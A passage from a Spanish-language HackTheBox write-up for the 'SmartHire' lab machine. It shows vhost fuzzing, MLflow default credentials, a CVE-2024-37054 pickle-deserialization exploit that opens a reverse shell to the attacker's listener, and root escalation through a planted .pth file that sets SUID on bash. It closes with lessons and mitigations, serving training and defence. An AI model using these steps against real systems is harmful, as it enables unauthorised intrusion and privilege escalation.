models.smarthire.htb) que sirve una instancia de MLflow protegida con credenciales por defecto (admin:password). La versión MLflow 2.14.1 es vulnerable a CVE-2024-37054: subimos una versión maliciosa de un modelo registrado — un model.pkl con __reduce__ que dispara una reverse shell — y la aplicación la ejecuta al cargarla para predicciones. Desde la shell como svcweb, sudo -l revela que se puede ejecutar mlflowctl.py como root; el script llama a site.addsitedir() sobre un directorio de plugins escribible por nuestro grupo, lo que permite plantar un fichero .pth que se ejecuta como root.HackTheBox Linux Medium
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | SmartHire |
| SO | Linux |
| Dificultad | Media |
| IP | 10.129.245.215 |
| Técnicas | Fuzzing de vhosts · Credenciales por defecto MLflow · CVE-2024-37054 RCE (pickle) · Inyección .pth en site.addsitedir() vía sudo NOPASSWD |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.245.215PORT STATE SERVICE
22/tcp open ssh
80/tcp open httpecho "10.129.245.215 smarthire.htb" >> /etc/hosts1.2 Enumeración de Directorios#
ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt \
-u http://smarthire.htb/FUZZlogin [Status: 200, Size: 6160]
register [Status: 200, Size: 6499]
logout [Status: 302, Size: 199]
dashboard [Status: 302, Size: 199]💡 Hallazgo clave: la aplicación tiene registro de usuarios propio — no hacen falta credenciales filtradas para interactuar con ella como usuario autenticado.
1.3 Fuzzing de Subdominios (vhosts)#
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://smarthire.htb/ -H "Host: FUZZ.smarthire.htb" -fc 301,302models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 60ms]💡 Superficie de ataque: el vhost
models.smarthire.htbresponde con un reto de autenticación básica HTTP. La respuesta401(en lugar del redireccionamiento genérico del host principal) confirma que este subdominio existe y tiene su propio backend.
2. Acceso a MLflow — Credenciales por Defecto#
models.smarthire.htb sirve una instancia de MLflow. Las credenciales por defecto son públicamente conocidas:
curl -s -u admin:password http://models.smarthire.htb/ | head -5<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>MLflow</title>⚠️ Credenciales por defecto:
admin:passwordes válido — acceso completo a la UI y a la API REST de MLflow sin más esfuerzo. La versión identificada en la interfaz es MLflow 2.14.1, vulnerable a CVE-2024-37054 (RCE por deserialización insegura de modelos).
3. Explotación — CVE-2024-37054 (RCE por Deserialización de Modelos MLflow)#
MLflow 2.14.1 serializa los modelos usando pickle. Al cargar un modelo para inferencia, deserializa el model.pkl sin validación, lo que permite ejecutar código arbitrario.
3.1 Registrarse y Crear un Modelo Legítimo#
Primero creamos una cuenta en la aplicación principal y subimos datos de entrenamiento para que genere un modelo registrado en MLflow:
curl -c cookies.txt -X POST http://smarthire.htb/register \
-d "username=testuser1&company=testcorp1&password=Password123"
curl -b cookies.txt -c cookies.txt -X POST http://smarthire.htb/login \
-d "username=testuser1&password=Password123"
echo -e "years_experience,education_level,hired\n1,1,0\n5,2,1\n3,1,0" > train.csv
curl -b cookies.txt -X POST http://smarthire.htb/upload_hiring_data -F "file=@train.csv"{"message":"Model trained and registered successfully","registered_model":"testcorp1-1cd45f83431b-model","status":"success"}💡 Por qué este paso: necesitamos un modelo ya registrado en MLflow con nuestro nombre para poder subir una nueva versión maliciosa. La aplicación, al recibir una petición
/predict, cargará la versión enProduction— que será la nuestra.
3.2 Registrar una Versión Maliciosa del Modelo#
Con el listener activo:
nc -lvnp 4444Ejecutamos el PoC público:
python3 mlflow_pickle_rce.py \
--mlflow http://models.smarthire.htb \
--model-name "testcorp1-1cd45f83431b-model" \
--lhost 10.10.15.193 --lport 4444[+] Model 'testcorp1-1cd45f83431b-model' already exists, reusing it
[+] MLmodel upload: 200
[+] model.pkl upload: 200
[+] Stage transition to 'Production': 200
[*] Now trigger whatever loads this model version in the target appNormal flow: mlflow.pyfunc.load_model() carga model.pkl → instancia de predictor legítimo
Flujo malicioso: model.pkl manipulado con __reduce__ → durante la deserialización, pickle ejecuta
os.system("reverse shell") → conexión saliente → shell como svcweb3.3 Disparar la Carga del Modelo Malicioso#
echo -e "experience,skills\n3,Python" > resume.csv
curl -b cookies.txt -X POST http://smarthire.htb/predict -F "file=@resume.csv"La aplicación invoca mlflow.pyfunc.load_model() sobre la versión en Production — la nuestra — y dispara la reverse shell.
3.4 Estabilizar la Shell#
Listening on 0.0.0.0 4444
Connection received on 10.129.245.215 53584
whoami
svcwebpython3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm4. User Flag#
cat /home/svcweb/user.txt🔑 User flag obtenida.
5. Enumeración de Privilegios#
5.1 Comprobación de sudo#
sudo -lUser svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *5.2 Análisis de mlflowctl.py#
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path)) # <-- se ejecuta antes de leer los argumentos
def main():
import mlflow_actions, backup_models
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
if __name__ == "__main__":
main()⚠️ Vulnerabilidad identificada: el script llama a
site.addsitedir()sobre todos los subdirectorios deplugins/antes de comprobar qué acción se pidió.site.addsitedir()no solo añade el directorio al path de importación: también procesa cualquier fichero.pthque encuentre allí. En un.pth, cualquier línea que empiece porimportse ejecuta como código Python durante ese procesado — y aquí se ejecuta como root.
5.3 Permisos del Directorio de Plugins#
ls -la /opt/tools/mlflow_ctl/plugins/drwxr-xr-x 3 root root 4096 core
drwxrwxr-x 2 root devs 4096 dev💡 Hallazgo clave:
plugins/dev/es escribible por el grupodevs, al que pertenecesvcweb. No hace falta tocarplugins/core/— basta con plantar un.pthen el directorio que ya controlamos.
6. Escalada de Privilegios — Inyección de .pth vía site.addsitedir()#
6.1 Plantar el Fichero .pth Malicioso#
echo 'import os; os.system("chmod +s /bin/bash")' \
> /opt/tools/mlflow_ctl/plugins/dev/pwn.pth6.2 Ejecutar el Script con sudo#
sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status[*] Checking MLflow service status...
[+] MLflow service status: activeEl script termina “con normalidad” — pero site.addsitedir() ya procesó pwn.pth como root antes de llegar al main().
6.3 Usar el Binario SUID#
ls -la /bin/bash-rwsr-sr-x 1 root root 1396520 Mar 14 2024 /bin/bash/bin/bash -p
bash-5.1# whoami
rootFlujo normal: site.addsitedir() añade el directorio al sys.path → importa módulos legítimos
Flujo malicioso: .pth plantado en directorio escribible → site.addsitedir() ejecuta "import os; os.system(...)"
→ como root → chmod +s /bin/bash → /bin/bash -p → EUID 07. Root Flag#
cat /root/root.txt🏁 Root flag obtenida.
8. Resumen y Lecciones Aprendidas#
Cadena de compromiso:
- Reconocimiento → Nmap revela puertos 22/80. Fuzzing de directorios confirma portal con registro propio. Fuzzing de vhosts descubre
models.smarthire.htb(401). - Credenciales por defecto →
admin:passwordválido en MLflow → acceso completo a la UI/API. Versión identificada: MLflow 2.14.1 (CVE-2024-37054). - Modelo legítimo → registro en
smarthire.htb+/upload_hiring_data→ modelotestcorp1-...-modelcreado en MLflow. - CVE-2024-37054 →
mlflow_pickle_rce.pysube versión maliciosa del modelo (pickle con__reduce__) promovida aProduction. - RCE →
/predictcon CSV válido →mlflow.pyfunc.load_model()deserializamodel.pkl→ reverse shell comosvcweb. - User flag →
/home/svcweb/user.txt. - sudo →
NOPASSWD: mlflowctl.py *como root → script llamasite.addsitedir()sobreplugins/dev/(escribible por grupodevs). .pthinjection →pwn.pthconimport os; os.system("chmod +s /bin/bash")→sudo mlflowctl.py status→bash -p→ root.
Qué aprendí de esta máquina:
site.addsitedir()sobre directorios no controlados exclusivamente por root es una escalada de privilegios. Los ficheros.pthno son solo entradas de path — cualquier líneaimport ...en ellos se ejecuta como código Python durante el procesado. Si el directorio es escribible por un usuario de menor privilegio y el script se ejecuta como root, es ejecución de código arbitraria.Los paneles de administración de servicios internos con credenciales por defecto son un vector frecuente. MLflow, Jupyter, Airflow, Grafana y muchos otros tienen credenciales de fábrica bien documentadas. Un servicio interno accesible (aunque sea detrás de auth básica) con credenciales por defecto es equivalente a un servicio abierto para un atacante con acceso de red.
CVE-2024-37054 demuestra que la carga de modelos ML desde fuentes no confiables es RCE.
pickleejecuta código arbitrario durante la deserialización — por diseño del protocolo. Los sistemas de ML que cargan modelos sin verificar su procedencia son vectores de ataque inherentes. La defensa requiere firmado de artefactos y entornos de inferencia aislados.El fuzzing de vhosts es obligatorio en cualquier enumeración web. Un host que devuelve 301/302 genérico puede tener vhosts con superficies completamente distintas detrás del mismo IP.
ffufcon-fc 301,302filtra el ruido y expone los vhosts reales.Las reglas
sudoNOPASSWD sobre scripts que cargan código de rutas dinámicas son difíciles de asegurar. Incluso si el script en sí es “seguro”, cualquier directorio que procese medianteimport,site.addsitedir(), o rutas ensys.pathconvierte la regla en una escalada potencial si esa ruta es escribible por el usuario privilegiado consudo.
Mitigaciones:
| Vector | Mitigación |
|---|---|
| Vhost oculto descubierto por fuzzing | Devolver respuestas idénticas para vhosts no configurados; aplicar rate limiting en el proxy inverso |
Credenciales por defecto de MLflow (admin:password) | Cambiar credenciales antes de cualquier despliegue; nunca exponer paneles de administración con credenciales de fábrica |
| CVE-2024-37054 — RCE por deserialización de modelos en MLflow 2.14.1 | Actualizar MLflow a versión parcheada; restringir quién puede registrar/promover versiones de modelos; cargar modelos en entorno aislado |
| Aplicación que carga automáticamente la versión “Production” sin validar procedencia | Firmar y verificar artefactos de modelo antes de cargarlos; separar entorno de registro del de inferencia |
sudo NOPASSWD sobre script que llama site.addsitedir() en directorio escribible | Nunca ejecutar como root código que procese rutas escribibles por usuarios de menor privilegio; eliminar reglas sudo sobre scripts de carga dinámica |
Directorio plugins/dev/ escribible por grupo devs | Aplicar permisos de solo lectura para cualquier ruta procesada con privilegios elevados; separar directorios de desarrollo de los de ejecución privilegiada |